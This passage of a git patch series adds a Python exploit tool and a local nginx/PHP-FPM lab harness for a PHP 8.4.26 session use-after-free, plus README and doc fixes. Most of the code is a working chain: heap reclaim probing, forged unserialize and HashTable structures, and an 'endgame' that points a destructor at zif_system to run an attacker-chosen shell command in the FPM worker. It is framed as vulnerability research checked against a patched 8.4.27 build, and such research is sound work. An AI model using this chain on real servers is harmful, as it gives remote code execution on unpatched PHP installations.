oracle.dump() + return 0 + + +def cmd_build_oom(args) -> int: + builder = Target(args.builder) + sid = args.sid.encode("latin1") + status, _body = big_session_post(builder, sid, args.size) + path = session_file(args.version, sid) + size = os.path.getsize(path) if os.path.isfile(path) else -1 + print(f"builder status={status} session_file={path} size={size}") + return 0 if size > args.size else 1 + + +def cmd_build_ref(args) -> int: + builder = Target(args.builder) + sid = REF_SID + status, body = ref_session_post(builder, sid) + path = session_file(args.version, sid) + content = open(path, "rb").read() if os.path.isfile(path) else b"" + print(f"builder status={status} body={body[:40]!r}") + print(f"session_file={path} content={content!r}") + return 0 if b"R:2" in content else 1 + + +def cmd_producer(args) -> int: + chain = Target(args.base) + sid = args.sid.encode("latin1") + before = find_pool_worker(args.version, "chain") + status, _headers, body = chain.get("/app.php", cookie=b"PHPSESSID=" + sid) + time.sleep(0.2) + after = find_pool_worker(args.version, "chain") + print(f"producer status={status} worker {before} -> {after} " + f"({'DIED' if before != after else 'survived'})") + print(f"body: {body[:160]!r}") + if args.oracle and before == after and before: + oracle = Oracle(args.version) + print(f"BG.data=0x{oracle.unserialize_data():x} " + f"level={oracle.unserialize_level()}") + return 0 + + +def _hexdump(data: bytes, base: int, limit: int = 96) -> str: + lines = [] + for off in range(0, min(len(data), limit), 16): + chunk = data[off:off + 16] + hexs = " ".join(f"{b:02x}" for b in chunk) + lines.append(f" 0x{base + off:012x} {hexs}") + return "\n".join(lines) + + +def cmd_reclaim_probe(args) -> int: + chain = Target(args.base) + builder = Target(args.builder) + oracle = Oracle(args.version) + pads = ([int(x) for x in args.sweep.split(",")] if args.sweep + else [args.pad]) + for pad in pads: + # The producer OOM runs php_session_cancel_decode -> session_destroy, + # which UNLINKS the OOM session file: rebuild it every iteration. + big_session_post(builder, OOM_SID, args.size) + producer_get(chain, OOM_SID) + d = oracle.unserialize_data() + level = oracle.unserialize_level() + if not d or level != 1: + print(f"[!] pad={pad}: stale state not armed (d=0x{d:x} level={level})") + continue + marker = b"PAT" + f"{pad:05d}".encode() + b"!" * 5 + big_value = (marker + b"Q" * 8214)[:8214] + filename = (marker + b"Q" * 8214)[:8214] + for shape in ("field", "filename", "field-first"): + # No PHPSESSID cookie and no progress field: B must NOT decode a + # session (a garbage forged struct would crash var_push). The + # reclaim allocations happen inside rfc1867 during request + # startup; app.php then starts a fresh empty session (no decode). + if shape == "field": + parts: list[dict] = [] + if pad: + parts.append({"name": "pad", "data": b"C" * pad}) + parts.append({"name": "big", "data": big_value}) + elif shape == "filename": + parts = [{"name": "N" * 64, "filename": filename, "data": b"x" * 8}] + else: + parts = [] + if pad: + parts.append({"name": "pad", "data": b"C" * pad}) + parts.append({"name": "big", "data": big_value}) + parts.append({"name": "N" * 64, "filename": b"f.bin", "data": b"x" * 8}) + chain.post_multipart(parts, b"PROBE16BB", timeout=60.0) + try: + region = oracle.read(d, 96) + except OSError as exc: + print(f"[!] pad={pad} shape={shape}: read d failed: {exc}") + oracle = Oracle(args.version) + continue + hit = marker[:8] in region + print(f"[*] pad={pad} shape={shape:11} d=0x{d:x} " + f"level={oracle.unserialize_level()} hit={'YES' if hit else 'no'}") + if hit: + print(_hexdump(region, d)) + return 0 + + +def _forged_benign(param_addr: int) -> bytes: + """8214-byte file-name content: full struct layout with data[1]=FZ long.""" + buf = bytearray(b"\x00" * 8214) + # +0 last -> param_addr (fake var_entries lives in the param buffer) + struct.pack_into(" data[1] is inside our data[]) + struct.pack_into(" int: + """Arbitrary zval-read primitive: forged var_hash at stale d, session + 'php' decode of the ref session, R:2 -> var_access(1) reads a fake + IS_LONG zval planted inside the reclaim buffer -> reflected by app.php. + + Reclaim geometry (lab 8.4.26, calibrated at runtime via the oracle): + 3 pad fields of 4096 + one big field of SIZE=12288 place a buffer that + covers d at content offset K (probed with a marker run against a 404 + endpoint). The consumer B MUST carry a file part after the progress + field, otherwise rfc1867 never fires the pre-RINIT session_start and + the decode would run post-RINIT against a memset BG. + + The per-request heap recycles the 8216-byte slot at one of two addresses; + if the re-armed consume d differs from the probed d, retry (the pair + stabilizes after at most one mismatch).""" + base = Target(args.base) + chain404 = Target(args.base + "/nope.php") + chainapp = Target(args.base + "/app.php") + builder = Target(args.builder) + oracle = Oracle(args.version) + size, need = 12288, 0x440 + + for _attempt in range(4): + try: + d = _arm_stale(base, builder, oracle, args.size) + k = _probe_cover(chain404, oracle, d, need, size) + if k is None: + return 1 + d2 = _rebuild_ref_and_arm(base, builder, oracle, args.size) + except (RuntimeError, OSError) as exc: + print(f"[!] {exc}; refreshing oracle") + time.sleep(0.4) + try: + oracle = Oracle(args.version) + except RuntimeError as oracle_exc: + print(f"[!] {oracle_exc}") + return 1 + continue + if d2 != d: + print(f"[*] slot moved 0x{d:x} -> 0x{d2:x}, retrying") + continue + forged = bytearray(size) + struct.pack_into(" &entries + struct.pack_into(" fake + struct.pack_into(" fake + struct.pack_into(" fake zval + struct.pack_into(" bytes: + """Build the forged reclaim buffer for the endgame chain. + + Layout (content offsets from K; every absolute address is d-relative): + K+0x000 decode-time php_unserialize_data (last=&entries, used_slots=2) + K+0x300 fake zval IS_REFERENCE -> d+0x500 + K+0x400 fake var_dtor_entries (used_slots=0) + K+0x500 fake zend_reference (rc forged 0; val = fake array zval) + K+0x700 fake HashTable (rc 1, pDestructor = zif_system) + K+0x800 fake Bucket doubling as the zif_system execute_data frame + K+0x880 fake zend_string holding the command + K+0x8F0 writable scratch for the zif_system return_value + """ + forged = bytearray(size) + # decode-time forged struct (identical to the primitive) + struct.pack_into(" &entries + struct.pack_into(" fake + struct.pack_into(" fake + struct.pack_into(" fake zval + struct.pack_into(" fake ref at d+0x500 + struct.pack_into(" 1 + struct.pack_into("val.arr + struct.pack_into(" 0 -> fire + struct.pack_into(" fake bucket + struct.pack_into(" fake zend_string; E+0x10 return_value -> + # writable scratch; E+0x2C num_args=1; E+0x50 arg1 zval + struct.pack_into(" int: + """RCE through a forged HashTable destructor (same reclaim pipeline as + the primitive; only the fake zval payload changes). + + The fake zval consumed by R:2 is IS_REFERENCE -> fake zend_reference + (forged rc=0) -> fake IS_ARRAY zval -> fake HashTable with + pDestructor = zif_system. The consume's ZVAL_COPY addrefs the fake + ref 0 -> 1 (the session 'r' entry becomes the only dtored owner; the + fake zval at d+0x300 is a silent second owner that never gets dtored). + At consumer-B request rshutdown the session dtor delrefs 1 -> 0 and + the dtor chain fires: + + zend_reference_destroy(ref) + i_zval_ptr_dtor(&ref->val) fake array zval (rc 1 -> 0) + zend_array_destroy(ht) + zend_hash_destroy(ht) pDestructor != ZVAL_PTR_DTOR + ht->pDestructor(&bucket.val) = zif_system(fake frame) + + zif_system receives the fake execute_data frame in RDI (the bucket at + E doubles as the frame: num_args=1 at E+0x2C, arg1 zval at E+0x50 + pointing at a fake zend_string holding the command). php_exec runs + the command via popen; the RETVAL write through the bogus RSI + return_value pointer and the interior efree then abort the worker - + acceptable: the proof file is already on disk and FPM respawns the + worker. + + The save that precedes the fire (php_session_flush at rshutdown) + serializes the fake ref/array safely: php_add_var_hash addrefs the + fake ref (1 -> 2) and the serialize-var_hash destroy delrefs it back + (2 -> 1); plain arrays are never addref'd.""" + command = args.command.encode("latin1") + if not command or b"\x00" in command: + print("[!] command must be non-empty and contain no NUL bytes") + return 1 + # fake zend_string at d+0x880 (val at +24) must fit below the scratch + # zval at d+0x8F0 + if len(command) > 0x57: + print(f"[!] command too long ({len(command)} > 87 bytes)") + return 1 + proof = (args.proof_file or "out/p1").lstrip("/") + base = Target(args.base) + chain404 = Target(args.base + "/nope.php") + chainapp = Target(args.base + "/app.php") + builder = Target(args.builder) + oracle = Oracle(args.version) + size, need = 12288, 0x900 + + local_proof = os.path.join(LAB, "webroot", proof) + try: + os.remove(local_proof) + except OSError: + pass + + worker_before = find_pool_worker(args.version, "chain") + for _attempt in range(4): + try: + d = _arm_stale(base, builder, oracle, args.size) + k = _probe_cover(chain404, oracle, d, need, size) + if k is None: + return 1 + d2 = _rebuild_ref_and_arm(base, builder, oracle, args.size) + except (RuntimeError, OSError) as exc: + # a dead worker (stale /proc pid) or a missed arm: rebuild the + # oracle against the respawned worker and retry + print(f"[!] {exc}; refreshing oracle") + time.sleep(0.4) + try: + oracle = Oracle(args.version) + except RuntimeError as oracle_exc: + print(f"[!] {oracle_exc}") + return 1 + continue + if d2 != d: + print(f"[*] slot moved 0x{d:x} -> 0x{d2:x}, retrying") + continue + forged = _build_endgame_payload(d, k, size, oracle.zif, command) + + status, _h, _body = _consume_b(chainapp, forged) + print(f"[*] command {command!r} fired (status={status}); waiting for " + f"worker respawn ...") + break + else: + print("[!] reclaim slot never stabilized") + return 1 + + time.sleep(0.8) + worker_after = find_pool_worker(args.version, "chain") + print(f"[*] chain worker {worker_before} -> {worker_after} " + f"({'died after fire' if worker_before != worker_after else 'still alive'})") + for _attempt in range(5): + pstatus, _ph, pbody = base.get("/" + proof) + if pstatus == 200 and pbody: + print(f"[+] RCE proof via /{proof}: {pbody[:120]!r}") + return 0 + time.sleep(0.4) + print(f"[!] no proof at /{proof} (last status={pstatus})") + return 1 + + +def _scan_pattern(oracle: Oracle, pattern: bytes) -> int | None: + for start, end, perms in oracle.maps: + if "rw-p" not in perms or end - start != MEM_CHUNK: + continue + try: + data = oracle.read(start, end - start) + except OSError: + continue + off = data.find(pattern) + if off >= 0: + return start + off + return None + + +def cmd_chain(args) -> int: + print(f"[*] chain: build sessions -> producer -> consumer ({args.phase} phase)") + builder = Target(args.builder) + if not os.path.isfile(session_file(args.version, OOM_SID)): + print("[*] build-oom") + big_session_post(builder, OOM_SID, 4 << 20) + if not os.path.isfile(session_file(args.version, REF_SID)): + print("[*] build-ref") + ref_session_post(builder, REF_SID) + chain = Target(args.base) + status, body = producer_get(chain, OOM_SID) + print(f"[*] producer status={status} body={body[:80]!r}") + oracle = Oracle(args.version) + d = oracle.unserialize_data() + print(f"[*] BG.data=0x{d:x} level={oracle.unserialize_level()}") + if args.phase == "primitive": + return cmd_primitive(args) + if args.phase == "endgame": + return cmd_endgame(args) + return 0 + + +def cmd_patchcheck(args) -> int: + versions = ["8.4.26", "8.4.27"] + ports = {"8.4.26": (8110, 8111), "8.4.27": (8120, 8121)} + for version in versions: + base = f"http://127.0.0.1:{ports[version][0]}" + builder_url = f"http://127.0.0.1:{ports[version][1]}" + print(f"\n=== {version} ===") + chain_t = Target(base) + builder = Target(builder_url) + if not os.path.isfile(session_file(version, OOM_SID)): + big_session_post(builder, OOM_SID, 4 << 20) + # lifecycle + worker = find_pool_worker(version, "chain") + status, body = producer_get(chain_t, OOM_SID) + time.sleep(0.2) + worker2 = find_pool_worker(version, "chain") + print(f"producer status={status} worker {worker}->{worker2} " + f"({'DIED' if worker != worker2 else 'survived'})") + try: + oracle = Oracle(version) + d = oracle.unserialize_data() + level = oracle.unserialize_level() + print(f"BG.data=0x{d:x} level={level} " + f"{'STALE-ARMED' if d and level == 1 else 'clean'}") + except RuntimeError as exc: + print(f"oracle: {exc}") + print("\n[*] expected: 8.4.26 STALE-ARMED, 8.4.27 clean " + "(php_basic_early_rinit memsets BG before body parse)") + return 0 + + +def main() -> int: + parser = argparse.ArgumentParser(description=__doc__.splitlines()[1]) + parser.add_argument("--base", default="http://127.0.0.1:8110") + parser.add_argument("--builder", default="http://127.0.0.1:8111") + parser.add_argument("--version", default="8.4.26") + parser.add_argument("--sid", default=OOM_SID.decode()) + parser.add_argument("--size", type=int, default=4 << 20) + parser.add_argument("--value", type=int, default=424242) + parser.add_argument("--pad", type=int, default=0) + parser.add_argument("--sweep", default=None, + help="comma-separated pad sizes for reclaim-probe") + parser.add_argument("--oracle", action="store_true") + parser.add_argument("--phase", choices=("probe", "primitive", "endgame"), + default="primitive") + parser.add_argument("--command", default="id>out/p1") + parser.add_argument("--proof-file", default="out/p1") + sub = parser.add_subparsers(dest="cmd", required=True) + for name in ("lifecycle", "oracle", "build-oom", "build-ref", "producer", + "reclaim-probe", "primitive", "endgame", "chain", "patchcheck"): + sub.add_parser(name) + args = parser.parse_args() + dispatch = { + "lifecycle": cmd_lifecycle, + "oracle": cmd_oracle, + "build-oom": cmd_build_oom, + "build-ref": cmd_build_ref, + "producer": cmd_producer, + "reclaim-probe": cmd_reclaim_probe, + "primitive": cmd_primitive, + "endgame": cmd_endgame, + "chain": cmd_chain, + "patchcheck": cmd_patchcheck, + } + return dispatch[args.cmd](args) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/php2shell_fpm_labs.py b/tools/php2shell_fpm_labs.py new file mode 100755 index 0000000..c0f094b --- /dev/null +++ b/tools/php2shell_fpm_labs.py @@ -0,0 +1,401 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +php2shell_fpm_labs.py — local nginx + PHP-FPM laboratory (no root, no docker). + +Two user-prefix builds share one nginx: + 8.4.26 chain http :8110 -> fpm :9001 builder http :8111 -> fpm :9002 + 8.4.27 chain http :8120 -> fpm :9011 builder http :8121 -> fpm :9012 + +Pools (php-fpm.conf.in): + chain memory_limit=8M, cleanup=On, save_path=/session + builder memory_limit=64M, cleanup=Off (builds large session files) + +Commands: + python3 tools/php2shell_fpm_labs.py up [--only 8.4.26] + python3 tools/php2shell_fpm_labs.py status + python3 tools/php2shell_fpm_labs.py smoke + python3 tools/php2shell_fpm_labs.py test + python3 tools/php2shell_fpm_labs.py down +""" + +from __future__ import annotations + +import argparse +import os +import pwd +import signal +import socket +import subprocess +import sys +import time +import urllib.request + +HERE = os.path.dirname(os.path.abspath(__file__)) +ROOT = os.path.dirname(HERE) +LAB = os.path.join(ROOT, "lab", "fpm") +RUNTIME = os.path.join(LAB, "runtime") +WEBROOT = os.path.join(LAB, "webroot") +OUTDIR = os.path.join(WEBROOT, "out") +NGINX_PREFIX = os.path.join(RUNTIME, "nginx") +NGINX_BIN = os.path.join(NGINX_PREFIX, "sbin", "nginx") +NGINX_CONF_DIR = os.path.join(NGINX_PREFIX, "conf") +NGINX_CONF = os.path.join(RUNTIME, "nginx.conf") +PHP_INI = os.path.join(LAB, "php.ini") +FPM_CONF_TMPL = os.path.join(LAB, "php-fpm.conf.in") +NGINX_CONF_TMPL = os.path.join(LAB, "nginx.conf.in") + +USER_NAME = pwd.getpwuid(os.getuid()).pw_name +GROUP_NAME = subprocess.run( + ["id", "-gn"], capture_output=True, text=True +).stdout.strip() or USER_NAME + +# version -> (chain_http, builder_http, chain_fpm, builder_fpm) +BUILDS: dict[str, tuple[int, int, int, int]] = { + "8.4.26": (8110, 8111, 9001, 9002), + "8.4.27": (8120, 8121, 9011, 9012), +} + + +def fpm_prefix(version: str) -> str: + return os.path.join(RUNTIME, f"php-{version}") + + +def fpm_bin(version: str) -> str: + return os.path.join(fpm_prefix(version), "sbin", "php-fpm") + + +def render(template: str, mapping: dict[str, str]) -> str: + text = open(template, encoding="utf-8").read() + for key, value in mapping.items(): + text = text.replace(f"@{key}@", value) + return text + + +def port_free(port: int) -> bool: + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + sock.bind(("127.0.0.1", port)) + return True + except OSError: + return False + + +def read_pid(path: str) -> int | None: + try: + pid = int(open(path, encoding="utf-8").read().strip()) + except (OSError, ValueError): + return None + try: + os.kill(pid, 0) + return pid + except OSError: + return None + + +def worker_pids(version: str, pool: str) -> list[int]: + marker = f"php-fpm: pool {pool}".encode() + needle = f"php-{version}".encode() + pids = [] + for name in os.listdir("/proc"): + if not name.isdigit(): + continue + try: + with open(f"/proc/{name}/cmdline", "rb") as handle: + data = handle.read() + if marker in data and needle in data + os.readlink(f"/proc/{name}/exe").encode(): + pids.append(int(name)) + except OSError: + continue + return pids + + +def ensure_dirs(version: str) -> None: + prefix = fpm_prefix(version) + for sub in ("logs", "session", "tmp"): + os.makedirs(os.path.join(prefix, sub), exist_ok=True) + os.makedirs(OUTDIR, exist_ok=True) + try: + os.chmod(os.path.join(prefix, "session"), 0o700) + except OSError: + pass + + +def write_fpm_conf(version: str) -> str: + chain_http, builder_http, chain_fpm, builder_fpm = BUILDS[version] + prefix = fpm_prefix(version) + rendered = render(FPM_CONF_TMPL, { + "RUNTIME": prefix, + "CHAIN_PORT": str(chain_fpm), + "BUILDER_PORT": str(builder_fpm), + "USER": USER_NAME, + "GROUP": GROUP_NAME, + "WEBROOT": WEBROOT, + "SAVEDIR": os.path.join(prefix, "session"), + "VER": version, + }) + path = os.path.join(prefix, "php-fpm.conf") + with open(path, "w", encoding="utf-8") as handle: + handle.write(rendered) + return path + + +def write_nginx_conf(versions: list[str]) -> None: + servers = [] + for version in versions: + chain_http, builder_http, chain_fpm, builder_fpm = BUILDS[version] + prefix = fpm_prefix(version) + for label, http_port, fpm_port in ( + ("chain", chain_http, chain_fpm), + ("builder", builder_http, builder_fpm), + ): + servers.append(f""" +server {{ + listen 127.0.0.1:{http_port}; + server_name _; + root {WEBROOT}; + access_log {prefix}/logs/{label}-access.log; + + location /out/ {{ + root {WEBROOT}; + default_type text/plain; + add_header X-Lab-Static "1"; + }} + + location / {{ + include {NGINX_CONF_DIR}/fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + fastcgi_pass 127.0.0.1:{fpm_port}; + }} +}}""") + rendered = render(NGINX_CONF_TMPL, { + "RUNTIME": RUNTIME, + "NGINX_CONF": NGINX_CONF_DIR, + "SERVERS": "\n".join(servers), + }) + with open(NGINX_CONF, "w", encoding="utf-8") as handle: + handle.write(rendered) + + +def wait_http(url: str, timeout: float = 20.0) -> bool: + deadline = time.time() + timeout + while time.time() < deadline: + try: + with urllib.request.urlopen(url, timeout=2) as resp: + if resp.status == 200: + return True + except Exception: + time.sleep(0.3) + return False + + +def up(only: set[str] | None) -> None: + versions = [v for v in BUILDS if only is None or v in only] + for version in versions: + if not os.path.isfile(fpm_bin(version)): + print(f"[!] {version}: missing {fpm_bin(version)}; run lab/fpm/build_php.sh {version}") + return + if not os.path.isfile(NGINX_BIN): + print(f"[!] missing {NGINX_BIN}; run lab/fpm/build_nginx.sh") + return + for version in BUILDS: + ensure_dirs(version) + for version in versions: + write_fpm_conf(version) + os.makedirs(os.path.join(RUNTIME, "logs"), exist_ok=True) + # full conf (all versions) so nginx stays the single front + write_nginx_conf(list(BUILDS)) + + busy = [] + for version in versions: + for port in BUILDS[version]: + if not port_free(port): + busy.append(port) + if busy: + print(f"[!] ports busy: {busy} (run 'down' first?)") + return + + for version in versions: + conf = os.path.join(fpm_prefix(version), "php-fpm.conf") + print(f"[*] {version}: php-fpm -t", flush=True) + result = subprocess.run( + [fpm_bin(version), "-t", "-y", conf, "-c", PHP_INI, "-p", fpm_prefix(version)], + capture_output=True, text=True, + ) + if result.returncode != 0: + print(result.stdout, result.stderr) + print(f"[!] {version}: fpm config test failed") + return + + print("[*] nginx -t", flush=True) + result = subprocess.run( + [NGINX_BIN, "-p", NGINX_PREFIX, "-c", NGINX_CONF, "-t"], + capture_output=True, text=True, + ) + if result.returncode != 0: + print(result.stdout, result.stderr) + print("[!] nginx config test failed") + return + + for version in versions: + conf = os.path.join(fpm_prefix(version), "php-fpm.conf") + print(f"[*] {version}: starting php-fpm", flush=True) + result = subprocess.run( + [fpm_bin(version), "-y", conf, "-c", PHP_INI, "-p", fpm_prefix(version), "-D"], + capture_output=True, text=True, + ) + if result.returncode != 0: + print(result.stderr) + print(f"[!] {version}: php-fpm failed to start") + return + pidfile = os.path.join(fpm_prefix(version), "logs", "fpm.pid") + master = read_pid(pidfile) + chain_http, builder_http, _c, _b = BUILDS[version] + ok_chain = wait_http(f"http://127.0.0.1:{chain_http}/index.php") + ok_builder = wait_http(f"http://127.0.0.1:{builder_http}/index.php") + workers = worker_pids(version, "chain") + worker_pids(version, "builder") + print(f" master={master} workers={workers} " + f"chain={'ok' if ok_chain else 'FAIL'} builder={'ok' if ok_builder else 'FAIL'}") + + print("[*] starting nginx", flush=True) + result = subprocess.run( + [NGINX_BIN, "-p", NGINX_PREFIX, "-c", NGINX_CONF], + capture_output=True, text=True, + ) + if result.returncode != 0: + print(result.stderr) + print("[!] nginx failed to start") + return + nginx_pid = read_pid(os.path.join(NGINX_PREFIX, "logs", "nginx.pid")) + print(f" nginx pid={nginx_pid}") + for version in versions: + chain_http, builder_http, _c, _b = BUILDS[version] + ok = wait_http(f"http://127.0.0.1:{chain_http}/index.php") + print(f" {version} front chain:{chain_http}={'ok' if ok else 'FAIL'} " + f"builder:{builder_http}") + print("[+] lab up") + + +def down() -> None: + nginx_pid = read_pid(os.path.join(NGINX_PREFIX, "logs", "nginx.pid")) + if nginx_pid: + subprocess.run([NGINX_BIN, "-p", NGINX_PREFIX, "-c", NGINX_CONF, "-s", "quit"], + capture_output=True) + for _ in range(20): + if read_pid(os.path.join(NGINX_PREFIX, "logs", "nginx.pid")) is None: + break + time.sleep(0.2) + else: + os.kill(nginx_pid, signal.SIGKILL) + for version in BUILDS: + pidfile = os.path.join(fpm_prefix(version), "logs", "fpm.pid") + master = read_pid(pidfile) + if master: + os.kill(master, signal.SIGTERM) + for _ in range(30): + if read_pid(pidfile) is None: + break + time.sleep(0.2) + else: + os.kill(master, signal.SIGKILL) + for pid in worker_pids(version, "chain") + worker_pids(version, "builder"): + try: + os.kill(pid, signal.SIGKILL) + except OSError: + pass + print("[+] lab down") + + +def status() -> None: + nginx_pid = read_pid(os.path.join(NGINX_PREFIX, "logs", "nginx.pid")) + print(f"nginx pid={nginx_pid}") + for version, (chain_http, builder_http, _c, _b) in BUILDS.items(): + pidfile = os.path.join(fpm_prefix(version), "logs", "fpm.pid") + master = read_pid(pidfile) + chain = worker_pids(version, "chain") + builder = worker_pids(version, "builder") + print(f"{version} fpm master={master} chain_worker={chain} builder_worker={builder} " + f"http chain=:{chain_http} builder=:{builder_http}") + + +def smoke() -> None: + ok = True + for version, (chain_http, builder_http, _c, _b) in BUILDS.items(): + for label, port in (("chain", chain_http), ("builder", builder_http)): + url = f"http://127.0.0.1:{port}/index.php" + try: + with urllib.request.urlopen(url, timeout=5) as resp: + body = resp.read().decode() + good = body.strip() == "OK" + except Exception as exc: + good = False + body = str(exc) + print(f"{version} {label:8} {'ok' if good else 'FAIL'} {body.strip()[:60]}") + ok = ok and good + url = f"http://127.0.0.1:{port}/app.php" + try: + with urllib.request.urlopen(url, timeout=5) as resp: + body = resp.read().decode() + good = "SESSION_END" in body + except Exception as exc: + good = False + body = str(exc) + print(f"{version} {label:8} app.php {'ok' if good else 'FAIL'} {body.strip()[:60]}") + ok = ok and good + return 0 if ok else 1 + + +def test() -> None: + results = [] + for version in BUILDS: + chain_http, _b, _c, _f = BUILDS[version] + proof = os.path.join(OUTDIR, "p1") + try: + os.unlink(proof) + except OSError: + pass + cmd = [ + sys.executable, os.path.join(HERE, "php2shell_fpm.py"), + "chain", + "--base", f"http://127.0.0.1:{chain_http}", + "--builder", f"http://127.0.0.1:{BUILDS[version][1]}", + "--version", version, + "--command", "id>out/p1", + "--proof-file", proof, + ] + print(f"\n=== {version} chain ===", flush=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=1200) + print((result.stdout + result.stderr).strip(), flush=True) + if result.returncode == 0 and os.path.isfile(proof): + results.append((version, "RCE", open(proof, encoding="utf-8").read().strip())) + else: + results.append((version, "no RCE (exit %d)" % result.returncode, "")) + print("\n=== summary ===") + for version, text, proof in results: + print(f" {version:8} {text:24} {proof}") + + +def main() -> int: + parser = argparse.ArgumentParser(description="Local nginx+FPM PHP2Shell laboratory.") + parser.add_argument("command", choices=("up", "down", "status", "smoke", "test")) + parser.add_argument("--only", default=None, help="comma-separated versions") + args = parser.parse_args() + only = set(args.only.split(",")) if args.only else None + if args.command == "up": + up(only) + return 0 + if args.command == "down": + down() + return 0 + if args.command == "status": + status() + return 0 + if args.command == "smoke": + return smoke() + test() + return 0 + + +if __name__ == "__main__": + sys.exit(main()) From 58ef08a08186aabf4ac824ef5be7750002c526f0 Mon Sep 17 00:00:00 2001 From: VABISMO Date: Thu, 22 Oct 2026 22:20:13 +0200 Subject: [PATCH 2/9] Fix php2shell_fpm.py CLI examples: global options precede the subcommand patchcheck iterates both lab builds and takes no --base; endgame and primitive require --base/--builder before the subcommand name. --- README.md | 5 +++-- docs/fpm-chain.md | 18 ++++++++++++------ 2 files changed, 15 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 73f6765..8dcd49c 100644 --- a/README.md +++ b/README.md @@ -161,8 +161,9 @@ python3 tools/php2shell_fpm_labs.py up --version 8.4.26 python3 tools/php2shell_auto.py -u http://127.0.0.1:8110/index.php --sapi fpm \ --builder http://127.0.0.1:8111 # or drive the chain directly: -python3 tools/php2shell_fpm.py endgame \ - --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 +python3 tools/php2shell_fpm.py \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \ + endgame python3 tools/php2shell_fpm_labs.py down ``` diff --git a/docs/fpm-chain.md b/docs/fpm-chain.md index 0d31dfa..eedecfc 100644 --- a/docs/fpm-chain.md +++ b/docs/fpm-chain.md @@ -144,12 +144,14 @@ i.e. real command execution inside the FPM worker. stale state: ```sh -python3 tools/php2shell_fpm.py patchcheck --base http://127.0.0.1:8110 +python3 tools/php2shell_fpm.py patchcheck # 8.4.26: BG.data=0x7f07be281000 level=1 STALE-ARMED -python3 tools/php2shell_fpm.py patchcheck --base http://127.0.0.1:8120 # 8.4.27: level=0 clean (both workers survive the post-RINIT OOM probe) ``` +`patchcheck` iterates both laboratory builds (ports 8110/8120); it takes no +target arguments. + ## Laboratory `tools/php2shell_fpm_labs.py` runs two user-prefix builds behind one nginx @@ -191,15 +193,19 @@ lab/fpm/runtime/php-8.4.27/sbin/php-fpm \ Directly (recommended first runs): ```sh -python3 tools/php2shell_fpm.py primitive \ - --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 +python3 tools/php2shell_fpm.py \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \ + primitive # forged benign var_entries; observable via app.php (rvalue) -python3 tools/php2shell_fpm.py endgame \ +python3 tools/php2shell_fpm.py \ --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \ - --version 8.4.26 --command 'id>out/p1' --proof-file out/p1 + --version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \ + endgame ``` +(Global options come before the subcommand.) + Via the dispatcher (`tools/php2shell_auto.py` fingerprints nginx and routes to the FPM chain; the lab needs an explicit `--builder` because the consumer endpoint alone is not enough for the 4 MB arm phase): From b8b7214331519e7ed5adb53f9bd4058ffb26512e Mon Sep 17 00:00:00 2001 From: VABISMO Date: Thu, 22 Oct 2026 22:32:15 +0200 Subject: [PATCH 3/9] Align contribution with CONTRIBUTING checklist - redact the local lab username from the published proof example - document the FPM profile in docs/profile-inventory.md (table synced with php2shell_inventory.py output, including the pre-existing missing 8.3.0/8.5.0 rows) - state the two-slot reclaim/retry behaviour in the profile status and the README table (probabilistic disclosure) - correct the README profile counters (14 profiles, 6 verified RCE) --- README.md | 10 +++++----- docs/fpm-chain.md | 2 +- docs/profile-inventory.md | 20 +++++++++++++++++++- profiles/8.4.26-fpm.json | 2 +- 4 files changed, 26 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 8dcd49c..3e78eeb 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,7 @@ not match the profile. | PHP 8.5.11 amd64 | `php:8.5.11-apache` | `php-8.5.11-bookworm-amd64` | yes | yes | **yes** | separate offsets, same `htdata` | | PHP 8.5.10 aarch64 | `php:8.5.10-apache` | `php-8.5.10-bookworm-aarch64` | yes | yes | **yes** | `uid=33(www-data)` | | PHP 8.4.26 amd64 | `php:8.4.26-apache` | `php-8.4.26-bookworm-amd64` | yes | yes | **yes** | reference build | -| PHP 8.4.26 FPM | `php:8.4.26-fpm` (nginx) | `8.4.26-fpm` | n/a | n/a | **yes** | `BG(unserialize)` chain; worker runs `uid=1000` proof | +| PHP 8.4.26 FPM | php-8.4.26 source tarball (nginx+FPM) | `8.4.26-fpm` | n/a | n/a | **yes** | `BG(unserialize)` chain; two-slot reclaim, self-correcting retries | | PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries | | PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found | | PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive | @@ -48,10 +48,10 @@ not match the profile. | PHP 7.4.33 aarch64 | `php:7.4-apache` | `php-7.4.33-bookworm-aarch64` | no | no | no | UAF; leak shape differs | | PHP 8.2.0 aarch64 | `php:8.2.0-apache` | — (offsets only) | n/a | n/a | no | no heap profile | -**13 heap profiles, 5 with verified RCE. Offsets extracted for 12 builds.** -Plus one FPM profile (`8.4.26-fpm`) with verified RCE through the -`BG(unserialize)` stale-state chain (no heap-leak stages; the stale struct is -located with the oracle each run). +**14 profiles (13 heap + 1 FPM), 6 with verified RCE. Offsets extracted for +12 builds.** The FPM profile has no heap-leak stages: the stale +`BG(unserialize)` struct is located with the oracle each run +([docs/fpm-chain.md](docs/fpm-chain.md)). `Heap leak` is stage 1, `libphp leak` is stage 2 and `RCE` is a real command proof on an isolated lab. `no` means not verified, not necessarily impossible; diff --git a/docs/fpm-chain.md b/docs/fpm-chain.md index eedecfc..594258e 100644 --- a/docs/fpm-chain.md +++ b/docs/fpm-chain.md @@ -132,7 +132,7 @@ proof separately: ```sh curl http://127.0.0.1:8110/out/p1 -# uid=1000(cryptocalypse) gid=1000(cryptocalypse) groups=... +# 